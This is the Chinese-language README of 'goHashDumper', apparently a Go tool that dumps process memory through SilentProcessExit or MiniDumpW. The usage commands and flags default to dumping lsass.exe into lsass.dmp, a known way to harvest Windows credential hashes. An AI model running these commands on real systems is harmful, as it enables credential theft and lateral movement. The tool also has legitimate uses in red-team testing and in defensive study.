crisprss / goHashDumper

用于Dump指定进程的内存,主要利用静默退出机制(SilentProcessExit)和Windows API(MiniDumpW)实现

goHashDumper

Note

Dump内存都需要管理员权限

Description

基于Golang开发,用于Dump指定进程的内存,主要利用静默退出机制(SilentProcessExit)和Windows API(MiniDumpW)实现

Usage

gohashdumper.exe -method 1 -out test.dmp -process lsass.exe
gohashdumper.exe -method 2 -path C:\tmp -pid 2333
  -method string
        choose Dump file Method(1 => MiniDumpW  2=> SilentExitDump) (default "1")
  -out string
        dump file name (default "lsass.dmp")
  -path string
        only method 2 need a filepath 
  -pid string
        If not use process name,it can support pid
  -process string
        Process to dump (default "lsass.exe")

Example